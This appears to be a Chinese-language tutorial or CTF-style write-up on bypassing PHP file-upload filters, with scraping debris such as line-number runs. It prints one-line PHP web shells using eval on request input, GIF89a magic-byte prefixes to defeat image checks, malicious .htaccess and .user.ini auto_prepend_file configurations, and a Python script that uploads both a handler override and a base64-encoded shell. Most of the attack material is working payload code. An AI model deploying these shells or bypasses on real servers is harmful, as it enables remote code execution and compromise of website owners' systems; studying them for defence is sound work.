正常的一句话木马
1 2 3 4 5
| <?php @eval($_REQUEST['cmd']);?> //开始上传图片中写入的一句话木马
<script language="php">eval($_REQUEST['cmd']);</script> // 用于绕过 <?
还可以在前面加 幻术头绕过 GIF89a(GIF图片的ascii 值)
|
若使用exif_imagetype() 函数 对上传文件后缀进行了限制。
1 2 3 4 5 6 7
| GIF89a <script language='php'>eval($_REQUEST['cmd']);</script>
//三种图片的前缀 JPG :FF D8 FF E0 00 10 4A 46 49 46(16进制编码) GIF:47 49 46 38 39 61(ascll值是GIF89a) PNG: 89 50 4E 47
|
.user.ini 文件
到现在我们就可以上传成功一个图片了,但它一句话木马并不能被作为PHP文件解析,那么怎么样去绕过???
在学习文件上传时应该都学过, .htaccess 文件,可以把后缀为其他类型的图片解析成php文件对,使我们上传的图片内容可以被解析,但是这里对 .htaccess文件也做了限制,所以我们就需要想其他的办法。
一般的.htaccess文件
1 2 3 4 5
| <FilesMatch> SetHandler application/x-httpd-php </FilesMatch>
AddType application/x-httpd-php .zm
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import base64 import requests htaccess=""" #define width 666 #define height 666 AddType application/x-httpd-php .ahhh php_value auto_append_file "php: """ shell=b"GIF89a12"+base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>") url="http: files={'file':('.htaccess',htaccess,'image/jpeg')} data={"upload":"Submit"} response=requests.post(url=url,data=data,files=files) print(response.text) files={'file':('shell.ahhh',shell,'image/jpeg')} response=requests.post(url=url,data=data,files=files) print(response.text)
|
这里我们引入一个php目录配置文件 .user.ini
作用:这里如果我们上传一个.user.ini 文件,那么当我们访问目录中的任何php文件时,都会调用.user.ini中指定的文件以php的形式进行读取我
们在user.ini设置文件
1 2 3 4 5 6 7 8 9 10
|
(1)服务器脚本语言为PHP (2)对应目录下面有可执行的php文件 (3)服务器使用CGI/FastCGI模式
上传的文件内容 GIF89a auto_prepend_file=b.gif
|
上传了 $.user.ini$ 文件之后,执行 $.user.ini$ 文件目录下的任意PHP文件,那么他就会执行我们在 $.user.ini$ 文件中制定的那个任意文件,且作为PHP文件执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 举个例子理解user.ini作用:
1.在user.ini 中设置 auto_prepend_file=b.gif
2.在b.gif中设置 一句话木马
3.还有个php文件 如:前面做题中的index.php
如果这三个条件在同一个目录下面,就会出先问题,这里就相当于 在index.php中写 了include "b.gif" , 可以进行文件包含,导致的后果是:当我们对目录中的index. php进行访问的时候,会调用.usre.ini 中的文件把b.gif文件以php的形式进行取造 成.user.ini的漏洞
|
1 2
| php_value auto_prepend_file ".htaccess" # <?php eval($_GET[1]);?>
|